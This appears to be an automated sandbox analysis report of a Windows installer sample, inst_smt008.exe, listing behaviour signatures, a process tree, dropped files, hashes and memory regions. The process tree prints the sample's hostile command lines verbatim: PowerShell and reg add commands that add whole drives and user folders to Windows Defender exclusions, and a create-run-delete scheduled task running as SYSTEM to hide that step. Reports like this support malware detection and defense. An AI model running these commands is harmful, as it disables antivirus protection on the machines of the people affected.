Analysis

  • max time kernel
    151s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 22:53

General

  • Target
    inst_smt008.exe
  • Size 55.2MB
  • Sample260804-2tywjazwft
  • SHA256 1ba430d96c2b3c4004ce58bae069879590c2040bcb8012179e2b4a98a8be0209
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\inst_smt008.exe
    "C:\Users\Admin\AppData\Local\Temp\inst_smt008.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:1136
  • C:\Users\Public\E5XvZW\QFkD0M.exe
    "C:\Users\Public\E5XvZW\QFkD0M.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3804
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:4584
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\E5XvZW\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:912
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\E5XvZW\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3604
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1608
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:3924
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2128
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4888
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:1524
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:5948
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:4328
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3488
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:5756
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:4956
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4632
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3812
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:5392
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1144
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:3232
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5552
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4352
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:5924
                      • C:\Users\Public\E5XvZW\QFkD0M.exe
                        "C:\Users\Public\E5XvZW\QFkD0M.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:2888
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\E5XvZW" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:2988
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\E5XvZW" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:5384
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:4812
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2372
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5652
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1792
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3340
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4580
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4544

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              1BA79029EC3FFD076F5DAC2F70A18685

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685
                              • Size 1KB
                              • SHA256 63b14543360f5e89942ea8d5113526e64fbc71c1207328f0136b3a495d921dd0
                              • MD5 SHA1 SHA512 TLSH

                              1BA79029EC3FFD076F5DAC2F70A18685

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685
                              • Size 186B
                              • SHA256 f49ea7bcbd028e40ce878134b969150c9278cb5bb84cd8a7cb414e25dc1e5645
                              • MD5 SHA1 SHA512 TLSH

                              QFkD0M.exe

                              • Path C:\Users\Public\E5XvZW\QFkD0M.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\E5XvZW\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 589b85f01dee8e99b80b2305444e363235f0e55d23a375f017ba2aa10309e122
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\E5XvZW\adoresd.dat
                              • Size 4.7MB
                              • SHA256 f99f6986be03c7e9182582e7051a4cd3816cdd8295935fc4f76940e8439e4867
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\E5XvZW\msadox.tb
                              • Size 8KB
                              • SHA256 a6b34255421de6fcd33142f7d2a67d8311c49fd1a82f82f4971166b06ebb6a78
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/1136-1-0x0000000005710000-0x000000000571D000-memory.dmp

                              memory/1136-2-0x0000000005720000-0x000000000572B000-memory.dmp

                              memory/1136-504-0x00007FF8595C0000-0x00007FF8595D2000-memory.dmp

                              memory/1136-526-0x0000000005710000-0x000000000571D000-memory.dmp

                              memory/1136-527-0x00007FF8595C0000-0x00007FF8595D2000-memory.dmp

                              memory/1136-0-0x0000000005710000-0x000000000571D000-memory.dmp

                              memory/2888-587-0x0000023422AC0000-0x0000023423351000-memory.dmp

                              memory/2888-576-0x00007FF83ECC0000-0x00007FF83F1DE000-memory.dmp

                              memory/2888-589-0x0000023422AC0000-0x0000023423351000-memory.dmp

                              memory/2888-590-0x0000023422AC0000-0x0000023423351000-memory.dmp

                              memory/2888-591-0x00007FF861D50000-0x00007FF861D52000-memory.dmp

                              memory/2888-588-0x0000023422AC0000-0x0000023423351000-memory.dmp

                              memory/2888-584-0x0000023422AC0000-0x0000023423351000-memory.dmp

                              memory/2888-582-0x00007FF861D60000-0x00007FF861D62000-memory.dmp

                              memory/2888-580-0x0000023422AC0000-0x0000023423351000-memory.dmp

                              memory/3804-558-0x000002C973410000-0x000002C97345E000-memory.dmp

                              memory/3804-552-0x000002C973F50000-0x000002C9747E1000-memory.dmp

                              memory/3804-560-0x000002C9747F0000-0x000002C97487A000-memory.dmp

                              memory/3804-559-0x000002C9747F0000-0x000002C97487A000-memory.dmp

                              memory/3804-565-0x000002C973F50000-0x000002C9747E1000-memory.dmp

                              memory/3804-567-0x000002C973F50000-0x000002C9747E1000-memory.dmp

                              memory/3804-569-0x000002C973F50000-0x000002C9747E1000-memory.dmp

                              memory/3804-538-0x000002C973F50000-0x000002C9747E1000-memory.dmp

                              memory/3804-533-0x00007FF83ECC0000-0x00007FF83F1DE000-memory.dmp

                              memory/3804-562-0x000002C9747F0000-0x000002C97487A000-memory.dmp

                              memory/3804-540-0x00007FF861D60000-0x00007FF861D62000-memory.dmp

                              memory/3804-561-0x000002C9747F0000-0x000002C97487A000-memory.dmp

                              memory/3804-532-0x00007FF861D50000-0x00007FF861D52000-memory.dmp

                              memory/3804-548-0x000002C973F50000-0x000002C9747E1000-memory.dmp

                              memory/3804-547-0x000002C973F50000-0x000002C9747E1000-memory.dmp

                              memory/3804-546-0x000002C973F50000-0x000002C9747E1000-memory.dmp

                              memory/3804-545-0x000002C973F50000-0x000002C9747E1000-memory.dmp

                              memory/3804-541-0x000002C973F50000-0x000002C9747E1000-memory.dmp

                              memory/3804-608-0x000002C973F50000-0x000002C9747E1000-memory.dmp

                              memory/4584-605-0x0000016CE9C60000-0x0000016CE9C7E000-memory.dmp

                              memory/4584-606-0x0000016CE9C80000-0x0000016CE9D32000-memory.dmp

                              memory/4584-602-0x0000016CE9C10000-0x0000016CE9C32000-memory.dmp

                              memory/4584-609-0x0000016CE9C50000-0x0000016CE9C5A000-memory.dmp